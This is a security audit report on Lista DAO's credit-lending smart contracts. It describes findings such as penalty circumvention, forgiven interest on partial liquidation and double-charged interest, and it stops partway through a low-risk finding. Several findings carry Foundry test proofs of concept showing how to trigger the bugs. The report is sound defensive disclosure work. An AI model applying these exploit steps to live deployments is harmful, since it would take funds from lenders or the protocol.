Lista DAO

Security Review

Cantina Managed review by:

Giovanni Di Siena, Lead Security Researcher

Chinmay Farkya, Security Researcher

February 4, 2026

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Lista DAO functions as the open-source decentralized stablecoin lending protocol powered by LSDfi.

From Jan 15th to Jan 29th the Cantina team conducted a review of moolah on commit hash cca375ae. The team identified a total of **31** issues:

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	0	0	0
High Risk	2	1	1
Medium Risk	3	2	1
Low Risk	12	6	6
Gas Optimizations	3	3	0
Informational	11	11	0
Total	**31**	**23**	**8**

2.1 Scope

The security review had the following components in scope for moolah on commit hash cca375ae:

```
src
├── broker
│   ├── CreditBroker.sol
│   ├── CreditBrokerInterestRelayer.sol
│   ├── interfaces
│   │   ├── ICreditBroker.sol
│   │   └── ICreditBrokerInterestRelayer.sol
│   └── libraries
│       └── CreditBrokerMath.sol
├── moolah
│   └── Moolah.sol
└── utils
    ├── CreditToken.sol
    └── interfaces
        └── ICreditToken.sol
```

3 Findings

3.1 High Risk

3.1.1 Late repayment penalty on interest can be circumvented

Severity: High Risk

Context: CreditBroker.sol#L551-L566, CreditBroker.sol#L568-L580

Description: `CreditBroker::_repay` first repays the interest owed by a position and then proceeds to pay down the principal if there are any funds left over. If the borrower exceeds the grace period following the fixed loan end timestamp, an additional 15% penalty is applied to the repayment. However, the penalty on the interest can be circumvented by users who split repayment into two separate transactions, as opposed to settling the entire debt in one transaction.

This is due to the entire penalty calculation being deferred to the principal repayment conditional block in which the outstanding interest is passed as an argument to `CreditBrokerMath::getPenaltyForCreditPosition`. Penalties on interest can therefore be avoided by first paying exactly the outstanding interest balance, such that `repayPrincipalAmt` evaluates to zero and the penalty calculation is skipped. The principal amount can then be repaid in a separate transaction, with the interest contribution being omitted from the penalty calculation as there is no remaining interest.

Proof of Concept: The following test should be added to `Broker.t.sol`:

```
function test_circumventInterestPenalty() public {
  vm.prank(MANAGER);
  moolah.setProvider(id, address(broker), true);

  uint256 termId = 66;
  FixedTermAndRate memory term = FixedTermAndRate({
    termId: termId,
    duration: 14 days,
    apr: 105 * 1e25,
    termType: type1
  });
  vm.prank(BOT);
  broker.updateFixedTermAndRate(term, false);

  _generateTree(borrower, COLLATERAL, creditToken.versionId() + 1);

  vm.startPrank(borrower);
  creditToken.approve(address(broker), COLLATERAL);
  broker.supplyAndBorrow(marketParams, COLLATERAL, COLLATERAL, termId, COLLATERAL,
  ↪  proof);
  vm.stopPrank();

  // Advance time past grace period (14 days term + 3 days grace + 3 days extra = 20
  ↪  days)
  skip(20 days);
  moolah.accrueInterest(marketParams);

  // Verify position is penalized
  FixedLoanPosition[] memory positions = broker.userFixedPositions(borrower);
  assertEq(positions.length, 1, "missing fixed position");
  FixedLoanPosition memory pos = positions[0];
  uint256 posId = pos.posId;
  assertTrue(broker.isPositionPenalized(borrower, posId), "position should be
  ↪  penalized");

  // Calculate what the user owes
  uint256 interestDue = CreditBrokerMath.getAccruedInterestForFixedPosition(pos) -
  ↪  pos.interestRepaid;
  uint256 principalDue = pos.principal - pos.principalRepaid;

  console.log("=== POSITION STATE ===");
```

```
    console.log("Principal due:", principalDue);
    console.log("Interest due:", interestDue);

    // Take snapshot before any repayment
    uint256 snapshotId = vm.snapshot();

    // ==================== SCENARIO A: SINGLE TRANSACTION ====================
    console.log("");
    console.log("=== SCENARIO A: Full repayment ===");

    uint256 startBalanceA = 2_500 ether;
    USDT.setBalance(borrower, startBalanceA);

    vm.startPrank(borrower);
    USDT.approve(address(broker), startBalanceA);
    broker.repayAndWithdraw(marketParams, COLLATERAL, startBalanceA, posId, COLLATERAL,
    ↪  proof);
    vm.stopPrank();

    uint256 endBalanceA = USDT.balanceOf(borrower);
    uint256 totalCostA = startBalanceA - endBalanceA;
    console.log("Total cost:", totalCostA);

    // Revert to snapshot
    vm.revertTo(snapshotId);

    // ==================== SCENARIO B: TWO TRANSACTIONS ====================
    console.log("");
    console.log("=== SCENARIO B: Interest first, then principal) ===");

    uint256 startBalanceB = 2_500 ether;
    USDT.setBalance(borrower, startBalanceB);

    vm.startPrank(borrower);
    USDT.approve(address(broker), startBalanceB);

    // First tx: pay only the interest
    broker.repay(interestDue, posId, borrower);
    console.log("First tx - paid interest:", interestDue);

    // Second tx: pay remaining principal + penalty
    broker.repayAndWithdraw(marketParams, COLLATERAL, startBalanceB, posId, COLLATERAL,
    ↪  proof);
    vm.stopPrank();

    uint256 endBalanceB = USDT.balanceOf(borrower);
    uint256 totalCostB = startBalanceB - endBalanceB;
    console.log("Total cost:", totalCostB);

    // ==================== VERIFY BUG ====================
    console.log("");
    console.log("=== BUG VERIFICATION ===");
    console.log("Full repayment total cost:", totalCostA);
    console.log("Separate repayment total cost:", totalCostB);

    // Verify the bug exists: single tx should pay more than two tx due to interest penalty
    assertTrue(totalCostA > totalCostB, "Single tx expected to pay more due to interest
    ↪  penalty");

    console.log("Separate repayment underpays by interest penalty:", totalCostA -
    ↪  totalCostB);
}
```

Recommendation: Ensure that the late repayment penalty is also applied to interest-only repayments.

Lista DAO: Fixed in PR 121.

Cantina Managed: Verified. The total debt must now be settled upon repayment of penalized positions.

3.1.2 Partial `LendingBroker` liquidation forgives fixed-term accrued interest

Severity: High Risk

Context: LendingBroker.sol#L558, LendingBroker.sol#L621-L628, BrokerMath.sol#L545-L548

Description: When a partial liquidation occurs on a fixed-term loan position, `BrokerMath::deductFixedPositionDebt` incorrectly resets `lastRepaidTime` to `block.timestamp` and `interestRepaid` to 0, regardless of how much interest was actually paid. This silently forgives all unpaid accrued interest, e.g. if partial liquidation covers only 25% of the position then all remaining 75% of accrued interest is forgiven.

Note that the problematic function is present in both `BrokerMath` and `CreditBrokerMath`. While this finding is technically out of scope given the impact is in `LendingBroker`, it was deemed worth reporting since this may affect existing deployments and/or future `CreditBroker` liquidation logic.

Proof of Concept: Add the following test to `LendingBroker.t.sol`:

```
/// @notice Tests that partial liquidations silently forgive fixed-term accrued interest
/// @dev This test demonstrates the bug where deductFixedPositionDebt() resets
↪  lastRepaidTime
///      and interestRepaid even when only a fraction of accrued interest is paid
function test_partialLiquidation_forgivesFixedTermAccruedInterest() public {
  // Create a fixed position with 10% APR for 30 days
  uint256 termId = 200;
  uint256 duration = 30 days;
  uint256 apr = 1.1e27;

  FixedTermAndRate memory term = FixedTermAndRate({ termId: termId, duration: duration,
  ↪  apr: apr });
  vm.prank(BOT);
  broker.updateFixedTermAndRate(term, false);

  // Borrower takes a fixed loan
  uint256 fixedBorrowAmt = 40000 ether;
  vm.prank(borrower);
  broker.borrow(fixedBorrowAmt, termId);

  // Get the position's initial state
  FixedLoanPosition[] memory positionsBefore = broker.userFixedPositions(borrower);
  assertEq(positionsBefore.length, 1, "should have 1 fixed position");
  FixedLoanPosition memory posBefore = positionsBefore[0];
  uint256 posId = posBefore.posId;
  uint256 initialLastRepaidTime = posBefore.lastRepaidTime;

  console.log("[Initial state]");
  console.log("  Principal: %s", posBefore.principal);
  console.log("  Start: %s", posBefore.start);
  console.log("  lastRepaidTime: %s", posBefore.lastRepaidTime);

  // Let 15 days pass to accrue significant interest
  uint256 timeToPass = 15 days;
  skip(timeToPass);

  // Calculate expected accrued interest after 15 days
  // Interest = principal * (APR - RATE_SCALE) / RATE_SCALE / 365 days * timeElapsed
  // For 10% APR over 15 days: 40000 * 0.10 * (15/365) = ~164.38 ether
  uint256 accruedInterestBefore =
  ↪  BrokerMath.getAccruedInterestForFixedPosition(posBefore);
  console.log("\n[After 15 days]");
  console.log("  Accrued interest: %s", accruedInterestBefore);

  // Capture total debt before liquidation
  uint256 totalDebtBefore = broker.getUserTotalDebt(borrower);
  console.log("  Total debt (principal + interest): %s", totalDebtBefore);
```

```
// Drop collateral price to make position liquidatable
// Original price: 120000e8, need to drop enough to make position unhealthy
// With 40000 debt, 1 collateral, 80% LTV: need price < 40000 / 0.8 = 50000
// But with broker interest deduction affecting collateral price, need to go lower
oracle.setPrice(address(BTCB), 48000e8);

// Get user's borrow shares for partial liquidation
Position memory moolahPosBefore = moolah.position(marketParams.id(), borrower);
console.log("\n[Moolah position]");
console.log("  Borrow shares: %s", moolahPosBefore.borrowShares);
console.log("  Collateral: %s", moolahPosBefore.collateral);

// Prepare for a partial liquidation - liquidate only ~25% of the position
// This is the key scenario where interestToDeduct < accruedInterest
uint256 repayShares = BrokerMath.mulDivCeiling(moolahPosBefore.borrowShares, 25, 100);

// Fund the liquidator
LISUSD.setBalance(address(liquidator), 1_000_000 ether);

// Record the timestamp before liquidation
uint256 timestampBeforeLiquidation = vm.getBlockTimestamp();

// Execute partial liquidation
vm.prank(BOT);
liquidator.liquidate(Id.unwrap(id), borrower, 0, repayShares);

// Verify position still exists (partial liquidation)
FixedLoanPosition[] memory positionsAfter = broker.userFixedPositions(borrower);
assertEq(positionsAfter.length, 1, "position should still exist after partial
↪  liquidation");
FixedLoanPosition memory posAfter = positionsAfter[0];

console.log("\n[After partial liquidation]");
console.log("  principal: %s", posAfter.principal);
console.log("  principalRepaid: %s", posAfter.principalRepaid);
console.log("  Remaining principal: %s", posAfter.principal -
↪  posAfter.principalRepaid);
console.log("  interestRepaid: %s", posAfter.interestRepaid);
console.log("  lastRepaidTime: %s", posAfter.lastRepaidTime);
console.log("  Current timestamp: %s", vm.getBlockTimestamp());

// lastRepaidTime was reset to block.timestamp even though not all interest was paid
assertEq(posAfter.lastRepaidTime, vm.getBlockTimestamp(), "lastRepaidTime should have
↪  been reset");
assertEq(posAfter.interestRepaid, 0, "interestRepaid should be reset to 0");

// Calculate the new accrued interest - it should be zero since lastRepaidTime was just
↪  reset
uint256 accruedInterestAfter = BrokerMath.getAccruedInterestForFixedPosition(posAfter)
↪  - posAfter.interestRepaid;
console.log("\n[Interest Analysis]");
console.log("  Interest accrued before liquidation: %s", accruedInterestBefore);
console.log("  Interest accrued after liquidation: %s", accruedInterestAfter);

// This demonstrates that the unpaid portion of accrued interest was forgiven
assertEq(accruedInterestAfter, 0, "interest after should be 0 since lastRepaidTime was
↪  reset");

// Calculate the total debt after liquidation
uint256 totalDebtAfter = broker.getUserTotalDebt(borrower);
console.log("\n[Total debt comparison]");
console.log("  Total debt BEFORE: %s", totalDebtBefore);
console.log("  Total debt AFTER: %s", totalDebtAfter);

// Calculate what the debt reduction should have been vs what it actually was
```

```
    // The principal reduced by some amount during liquidation
    uint256 principalReduced = posAfter.principalRepaid;
    console.log("  Principal repaid: %s", principalReduced);
    console.log("  Forgiven interest: %s", totalDebtBefore - totalDebtAfter -
    ↪  principalReduced);

    // Demonstrate impact on risk detection via peek()
    // The collateral price deduction is based on brokerDebt - moolahDebt
    // Since brokerDebt is now understated, the deduction is smaller, making positions
    ↪  appear healthier
    uint256 peekedPriceBefore = broker.peek(address(BTCB), borrower);
    console.log("\n[Risk detection impact]");
    console.log("  Peeked collateral price: %s", peekedPriceBefore);
    console.log("  Because totalDebt is understated, collateral price deduction is
    ↪  smaller");
    console.log("  This makes the position appear healthier than it should be.");
}
```

Recommendation: For partial payments, increment `interestRepaid` to track cumulative balances and only reset `lastRepaidTime` when all accrued interest has been paid.

Lista DAO: Acknowledged. This design prioritizes principal synchronization between the Broker and Moolah for robust bookkeeping. `CreditBroker` is unaffected as its logic ensures interest is fully paid before principal and `CreditBrokerMath::deductFixedPositionDebt` will be removed. For `LendingBroker`, liquidation is a whitelisted operation controlled by the protocol while our bots are configured to prevent significant interest loss, making this a managed and acceptable trade-off.

Cantina Managed: Acknowledged.

3.2 Medium Risk

3.2.1 `CreditBrokerInterestRelayer` supports multiple brokers but supplies to only one market

Severity: Medium Risk

Context: CreditBrokerInterestRelayer.sol#L117

Description: `CreditBrokerInterestRelayer` accumulates `supplyAmount` from all registered brokers but supplies to only one market corresponding to the broker that triggers the threshold. If there is an intention to support more than one broker, then the supply amount should be tracked on a per broker basis.

Proof of Concept: The following test should be added to `CreditBroker.t.sol`:

```
function test_multiBrokerRelayerRouting() public {
    // Deploy second CreditToken
    CreditToken creditToken2;
    {
      CreditToken ctImpl = new CreditToken();
      ERC1967Proxy ctProxy = new ERC1967Proxy(
        address(ctImpl),
        abi.encodeWithSelector(
          CreditToken.initialize.selector,
          ADMIN,
          MANAGER,
          BOT,
          new address[](0),
          "Credit Token 2",
          "CRDT2"
        )
      );
      creditToken2 = CreditToken(address(ctProxy));
    }

    // Deploy second CreditBroker (same relayer)
    CreditBroker broker2;
    {
```

```
  CreditBroker bImpl = new CreditBroker(address(moolah), address(relayer),
   ↪  address(oracle), address(LISTA));
  ERC1967Proxy bProxy = new ERC1967Proxy(
    address(bImpl),
    abi.encodeWithSelector(CreditBroker.initialize.selector, ADMIN, MANAGER, BOT,
     ↪  PAUSER, 10)
  );
  broker2 = CreditBroker(payable(address(bProxy)));
}

// Create second market with different collateral token
MarketParams memory marketParams2 = MarketParams({
  loanToken: address(USDT),
  collateralToken: address(creditToken2),
  oracle: address(broker2),
  irm: address(irm),
  lltv: LTV
});
Id id2 = marketParams2.id();
Moolah(address(moolah)).createMarket(marketParams2);

// Setup broker2
vm.startPrank(MANAGER);
broker2.setMarketId(id2);
Moolah(address(moolah)).setMarketBroker(id2, address(broker2), true);
creditToken2.grantRole(creditToken2.TRANSFERER(), address(broker2));
creditToken2.grantRole(creditToken2.TRANSFERER(), address(moolah));
vm.stopPrank();

// Add broker2 to the same relayer
vm.prank(MANAGER);
relayer.addBroker(address(broker2));

// Seed second market with liquidity
USDT.setBalance(supplier, SUPPLY_LIQ);
vm.startPrank(supplier);
IERC20(address(USDT)).approve(address(moolah), type(uint256).max);
moolah.supply(marketParams2, SUPPLY_LIQ, 0, supplier, bytes(""));
vm.stopPrank();

// Set minLoan to 10 USDT
vm.prank(MANAGER);
Moolah(address(moolah)).setMinLoanValue(10e8); // $10 in 8 decimals

uint256 minLoan = moolah.minLoan(marketParams);
console.log("Min loan:", minLoan);

// Give brokers some USDT to simulate interest payments
uint256 broker1Interest = 8 ether;  // Below minLoan
uint256 broker2Interest = 7 ether;  // Also below minLoan, but total > minLoan

USDT.setBalance(address(broker), broker1Interest);
USDT.setBalance(address(broker2), broker2Interest);

// Approve relayer from both brokers
vm.prank(address(broker));
USDT.approve(address(relayer), type(uint256).max);
vm.prank(address(broker2));
USDT.approve(address(relayer), type(uint256).max);

// Record market supplies before
Market memory market1Before = moolah.market(id);
Market memory market2Before = moolah.market(id2);

console.log("Market 1 supply before:", market1Before.totalSupplyAssets);
console.log("Market 2 supply before:", market2Before.totalSupplyAssets);
```

```
  // ==================== BROKER 1 SUPPLIES INTEREST ====================
  // This should not trigger supply to vault (8 < 10)
  vm.prank(address(broker));
  relayer.supplyToVault(broker1Interest);

  uint256 supplyAmountAfter1 = relayer.supplyAmount();
  console.log("Relayer supplyAmount after broker1:", supplyAmountAfter1);
  assertEq(supplyAmountAfter1, broker1Interest, "Broker1 interest should be
   ↪  accumulated");

  // ==================== BROKER 2 SUPPLIES INTEREST ====================
  // This will trigger supply to vault (8 + 7 = 15 > 10)
  vm.prank(address(broker2));
  relayer.supplyToVault(broker2Interest);

  uint256 supplyAmountAfter2 = relayer.supplyAmount();
  console.log("Relayer supplyAmount after broker2:", supplyAmountAfter2);

  // ==================== VERIFY BUG ====================
  Market memory market1After = moolah.market(id);
  Market memory market2After = moolah.market(id2);

  uint256 market1Increase = market1After.totalSupplyAssets -
   ↪  market1Before.totalSupplyAssets;
  uint256 market2Increase = market2After.totalSupplyAssets -
   ↪  market2Before.totalSupplyAssets;

  console.log("Market 1 supply after:", market1After.totalSupplyAssets);
  console.log("Market 2 supply after:", market2After.totalSupplyAssets);
  console.log("Market 1 increase:", market1Increase);
  console.log("Market 2 increase:", market2Increase);

  // Expected behavior:
  // - Market 1 should receive 8 ether (broker1's interest)
  // - Market 2 should receive 7 ether (broker2's interest)

  // Actual behavior:
  // - Market 1 receives 0 ether
  // - Market 2 receives 15 ether (all interest)

  console.log("Market 2 received all interest:", market2Increase);
  console.log("Broker 1 lost:", broker1Interest - market1Increase);
}
```

Recommendation: Consider tracking per broker supply amounts:

```
mapping(address => uint256) public brokerSupplyAmounts;

function supplyToVault(uint256 amount) external override nonReentrant onlyBroker {
    IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    brokerSupplyAmounts[msg.sender] += amount;

    uint256 minLoan = ...;
    if (brokerSupplyAmounts[msg.sender] >= minLoan) {
        uint256 _supplyToVault = ;
        brokerSupplyAmounts[msg.sender] = 0;
        MOOLAH.supply(..., _supplyToVault, ...);
    }
}
```

Lista DAO: Acknowledged. We have only one market for credit loan.

Cantina Managed: Acknowledged.

3.2.2 `CreditBrokerMath::getPenaltyForCreditPosition` returns zero penalty when no grace period is configured

Severity: Medium Risk

Context: CreditBrokerMath.sol#L235

Description: `CreditBrokerMath` implements a penalty for credit positions repaid after the specified grace period. The late repayment penalty amount is returned by `getPenaltyForCreditPosition()`; however, the logic currently short-circuits if the grace period is zero, i.e. not configured. In this case, no penalty is applied for late payments made after the fixed term loan end timestamp.

Recommendation: Implement a default penalty for late repayments when no grace period is configured.

Lista DAO: Fixed in commit 04dbab4.

Cantina Managed: Verified. Late repayment penalties are now applied when no grace period is configured.

3.2.3 `CreditBroker::repayInterestWithLista` charges duplicate interest

Severity: Medium Risk

Context: CreditBroker.sol#L319-L329, CreditBroker.sol#L329, CreditBroker.sol#L551-L566

Description: `CreditBroker::repayInterestWithLista` pulls loan tokens from the `CreditBrokerInterestRelayer` which acts as a swap facility for discounted LISTA repayments. It then calls `_repay()` with the combined loan token principal plus interest amount; however, `_repay()` unconditionally pulls interest from `msg.sender`. This means that the relayer-funded loan tokens already present in the broker are ignored and results in overpayment since both LISTA and loan tokens are transferred to settle the same liability.

Proof of Concept: The following test should be added to `CreditBroker.t.sol`:

```
/// @notice Tests that repayInterestWithLista() double-charges interest
/// @dev This test demonstrates the bug where _repay() pulls loan tokens from msg.sender
///      even though the relayer has already transferred loan tokens to the broker
function test_repayInterestWithLista_doubleCharge() public {
  // Create fixed position with accrued interest (ACCRUE_INTEREST type)
  uint256 termId = 100;
  uint256 duration = 30 days;
  uint256 apr = 1.1e27; // 10% APR

  FixedTermAndRate memory term = FixedTermAndRate({ termId: termId, duration: duration,
  ↪  apr: apr, termType: type1 });
  vm.prank(BOT);
  broker.updateFixedTermAndRate(term, false);

  // Supply collateral and borrow
  uint256 newScore = 10_000 ether;
  uint256 borrowAmt = 5_000 ether;
  _generateTree(borrower, newScore, creditToken.versionId() + 1);

  vm.startPrank(borrower);
  creditToken.approve(address(broker), type(uint256).max);
  broker.supplyAndBorrow(marketParams, newScore, borrowAmt, termId, newScore, proof);
  vm.stopPrank();

  // Accrue interest (15 days)
  skip(15 days);

  FixedLoanPosition[] memory positions = broker.userFixedPositions(borrower);
  uint256 posId = positions[0].posId;

  // Calculate LISTA needed for interest repayment using broker's helper
  uint256 listaPrice = oracle.peek(address(LISTA));
  uint256 discountRate = broker.listaDiscountRate();
  uint256 listaAmount = broker.getMaxListaForInterestRepay(positions[0]);
  uint256 expectedInterestFromLista = CreditBrokerMath.getInterestAmountFromLista(
    listaAmount,
    listaPrice,
    discountRate
  );

  console.log("[Setup]");
  console.log("  Borrow amount: %s", borrowAmt);
  console.log("  LISTA amount for interest: %s", listaAmount);
  console.log("  Expected interest from LISTA: %s", expectedInterestFromLista);

  // Fund borrower with LISTA and loan tokens
  LISTA.setBalance(borrower, listaAmount);
  USDT.setBalance(borrower, expectedInterestFromLista);

  // Fund relayer with loan tokens for the swap
  USDT.setBalance(address(relayer), expectedInterestFromLista);

  // Record balances before
  uint256 borrowerLoanBefore = USDT.balanceOf(borrower);
  uint256 borrowerListaBefore = LISTA.balanceOf(borrower);
  uint256 brokerLoanBefore = USDT.balanceOf(address(broker));
  uint256 relayerLoanBefore = USDT.balanceOf(address(relayer));

  // Approve both tokens (borrower shouldn't need to approve loan tokens for LISTA
  ↪  repayment)
  vm.startPrank(borrower);
  LISTA.approve(address(broker), listaAmount);
  USDT.approve(address(broker), expectedInterestFromLista); // Bug: this approval is
  ↪  consumed

  // Execute repayment with LISTA
  broker.repayInterestWithLista(0, listaAmount, posId, borrower);
  vm.stopPrank();

  // Record balances after
  uint256 borrowerLoanAfter = USDT.balanceOf(borrower);
  uint256 borrowerListaAfter = LISTA.balanceOf(borrower);
  uint256 brokerLoanAfter = USDT.balanceOf(address(broker));
  uint256 relayerLoanAfter = USDT.balanceOf(address(relayer));

  // Borrower paid LISTA (expected)
  assertEq(borrowerListaBefore - borrowerListaAfter, listaAmount, "borrower should have
  ↪  paid LISTA");
  console.log("[Repayment]");
  console.log("  LISTA paid by borrower: %s", listaAmount);

  // BUG: Borrower ALSO paid loan tokens (should be 0)
  uint256 borrowerLoanPaid = borrowerLoanBefore - borrowerLoanAfter;
  assertGt(borrowerLoanPaid, 0, "borrower should be double-charged in loan tokens");
  console.log("  Borrower double-charged (loan tokens): %s", borrowerLoanPaid);
}
```

Recommendation: Consider potential interest repayments that have already been received within the execution of `_repay()`.

Lista DAO: Fixed in commit 104a5f8.

Cantina Managed: Verified. The received interest is now included within the amount repaid.

3.3 Low Risk

3.3.1 `CreditToken` is missing intended pausing functionality

Severity: Low Risk

Context: CreditToken.sol#L17, CreditToken.sol#L47

Description: `CreditToken` inherits `PausableUpgradeable`, has the `whenNotPaused` modifier applied to multiple functions, and defines the `PAUSER` role; however, the role is never granted to any address and the `_pause()/_unpause()` functions are never exposed. As such, the contract does not have pausing capabilities despite the intention.

It is also understood that the `transfer()`, `transferFrom()`, `syncCreditScore()`, and `revokePendingMerkleRoot()` functions should also have the `whenNotPaused` modifier applied.

Recommendation: Expose the `_pause()/_unpause()` functions and grant the `PAUSER` role within `initialize()`. Make sure the `whenNotPaused` modifier is applied to all intended functions.

Lista DAO: Fixed in commit ef7d840 Also added `whenNotPaused` modifier to `transfer()`, `transferFrom()` and `syncCreditScore()`. If `BOT` is hacked, a malicious pending merkle root could be set. To allow a pending root to be revoked during paused state, the modifier is not applied to `revokePendingMerkleRoot()`.

Cantina Managed: Verified.

3.3.2 Role administration can be lost if `AccessControlUpgradeable::renounceRole` is called by the `DEFAULT_ADMIN_ROLE`

Severity: Low Risk

Context: CreditBrokerInterestRelayer.sol#L79-L83, CreditBroker.sol#L154-L161, CreditToken.sol#L82-L92

Description: `AccessControlUpgradeable` provides the `renounceRole()` function to allow callers to give up their role voluntarily. However, if it is mistakenly called by the current admin for the `DEFAULT_ADMIN_ROLE` then role management will be completely lost.

Recommendation: Consider overriding `renounceRole()` to revert when called by the admin.

Lista DAO: Acknowledged. The `DEFAULT_ADMIN_ROLE` will be a Timelock contract.

Cantina Managed: Acknowledged.

3.3.3 `CreditToken::syncCreditScore` emits incorrect historical values in the `ScoreSynced` event

Severity: Low Risk

Context: CreditToken.sol#L52-L58, CreditToken.sol#L146-L148, CreditToken.sol#L153

Description: `CreditToken::syncCreditScore` emits the `ScoreSynced` event, intended to reference `userScore.score` and `userScore.id` as the old score and version id respectively; however, the `userScore` storage variable is updated and so no longer contains the old values.

Recommendation: Cache the old values before modifying `userScore`.

Lista DAO: Fixed in commit b7f5987.

Cantina Managed: Verified. Note that `_score` and `versionId` can continue to be used to avoid unnecessarily reading from storage.

3.3.4 Pending merkle root waiting period should not be changed while an existing request is outstanding

Severity: Low Risk

Context: CreditToken.sol#L252-L257

Description: Consider the scenario in which a `pendingMerkleRoot` was published with a `waitingPeriod` of 12 hours, and 6 hours have already passed. Any decrease to the `waitingPeriod` by the `MANAGER_ROLE` beyond the period that has already passed will allow the `BOT` to immediately accept the pending merkle root. This is undesirable as it bypasses the intended waiting period at the time of setting the pending merkle root and should instead apply only to future pending merkle roots.

Recommendation: Consider preventing the `waitingPeriod` from being changed when a merkle root is pending.

Lista DAO: Fixed in commit 2707272.

Cantina Managed: Verified. The waiting period can no longer be changed when a merkle root is pending.

3.3.5 Score decreases in `CreditToken::setPendingMerkleRoot` can be front run

Severity: Low Risk

Context: CreditToken.sol#L212

Description: The data needed to construct proofs associated with score updates in `CreditToken::setPendingMerkleRoot` should not be made available until after the transaction is included; otherwise, users can observe upcoming score changes and front run this call to borrow the maximum possible loan amount based on their current credit score (assuming their score is decreasing).

Recommendation: Avoid publishing merkle tree data until after the root has been updated.

Lista DAO: Acknowledged. We'll keep this in mind.

Cantina Managed: Acknowledged.

3.3.6 Instantaneous grace period reduction can cause positions to become immediately penalised

Severity: Low Risk

Context: CreditBroker.sol#L879

Description: `CreditBroker::setGraceConfig` allows the `MANAGER` role to modify the grace period duration, among other configuration parameters. Reduction of the grace period while an existing position is within this period could cause it to become immediately penalised, e.g. 2 days into a 3 day grace period which is reduced to 1 day.

Recommendation: Consider disallowing instantaneous changes to the grace period in favor of an asynchronous pattern similar to that of `CreditToken::setPendingMerkleRoot`.

Lista DAO: Acknowledged. We'll keep this in mind when reducing grace period. The grace period will not be changed in Phase I.

Cantina Managed: Acknowledged.

3.3.7 `CreditBroker::_repay` emits the wrong address in the `PaidOffPenalizedPosition` event

Severity: Low Risk

Context: CreditBroker.sol#L609, CreditBroker.sol#L620-L621

Description: `CreditBroker::_repay` emits the `PaidOffPenalizedPosition` event with the `msg.sender` as the `user`. Based on the emission of the `RepaidFixedLoanPosition` event, it appears that `user` should instead be replaced with `onBehalf` such that it is the address that owns the position, rather than the one paying the debt.

Recommendation:

```diff
- emit PaidOffPenalizedPosition(user, posId, block.timestamp);
+ emit PaidOffPenalizedPosition(onBehalf, posId, block.timestamp);
```

Lista DAO: Fixed in commit c4c1089.

Cantina Managed: Verified. The correct address is now emitted.

3.3.8 `Moolah::enableLltv` allows 100% LTV markets

Severity: Low Risk

Context: Moolah.sol#L133

Description: The modification to `Moolah::enableLltv` allows 100% LTV markets which, with disabled liquidation in `CreditBroker`, means positions become unhealthy as soon as any interest accrues and there no mechanism to force repayment.

Recommendation: Consider preventing 100% LTV markets for `CreditBroker`.

Lista DAO: Acknowledged. This is a product design decision-we expect users to be able to borrow up to their credit score.

Cantina Managed: Acknowledged.

3.3.9 `CreditBrokerMath::deductFixedPositionDebt` will revert for upfront interest positions

Severity: Low Risk

Context: CreditBrokerMath.sol#L138-L139, CreditBrokerMath.sol#L489

Description: `CreditBrokerMath::deductFixedPositionDebt` allows positions of either `FixedTermType` to be passed; however, the call to `getAccruedInterestForFixedPosition()` will revert for upfront interest positions due to the encapsulated validation.

Recommendation: If it is intended for `CreditBrokerMath::deductFixedPositionDebt` to support both types of fixed term position, upfront interest positions should be handled separately.

Lista DAO: `deductFixedPositionDebt()` is not intended to support upfront interest position. Added a check for `termType` to fix this in commit 117fa91.

Cantina Managed: Verified. Upfront interest positions are now explicitly excluded.

3.3.10 `CreditBroker` and `CreditBrokerMath` hardcode the loan token price

Severity: Low Risk

Context: CreditBroker.sol#L352, CreditBroker.sol#L364-L365, CreditBrokerMath.sol#L34

Description: `CreditBroker` and `CreditBrokerMath` both assume the price of loan token U to always be equal to $1. In reality, the price can deviate and should not be assumed.

Recommendation: Consider integrating an external price feed when valuing loan token balances.

Lista DAO: Acknowledged. We hard-coded both the loan token price and the credit token price to $1, so that one unit of credit score allows borrowing one loan token.

Cantina Managed: Acknowledged.

3.3.11 `LendingBroker` collateral can be seized without repayment when borrower-specific collateral price becomes zero

Severity: Low Risk

Context: BrokerMath.sol#L77-L88, Moolah.sol#L537, Moolah.sol#L547-L553

Description: `LendingBroker` and `CreditBroker` markets rely on a borrower-specific pricing mechanism that reduces the borrower's collateral price by the unpaid interest per unit collateral, including both the fixed term interest and any repayment penalties. This allows for Moolah to account for broker-side interest and process liquidations despite running the market within Moolah itself at 0% interest.

Currently, `CreditBroker::liquidate` reverts and, assuming the broker is set as a provider within Moolah, will bubble-up within `Moolah::liquidate` (i.e. liquidations are not currently possible for credit positions). `LendingBroker::liquidate`, however, is implemented and will execute during liquidations.

Both `BrokerMath::peek` and `CreditBrokerMath::peek` perform a saturating subtraction, flooring the borrower-specific collateral price to 0 once the interest-based deduction reaches or exceeds the oracle collateral price. Given that `Moolah::liquidate` computes repayment amounts using the borrower-specific collateral price, in this circumstance a liquidator can seize all the collateral of a position while `repaidShares` evaluates to 0. The resulting bad debt is written off and losses are socialized across lenders.

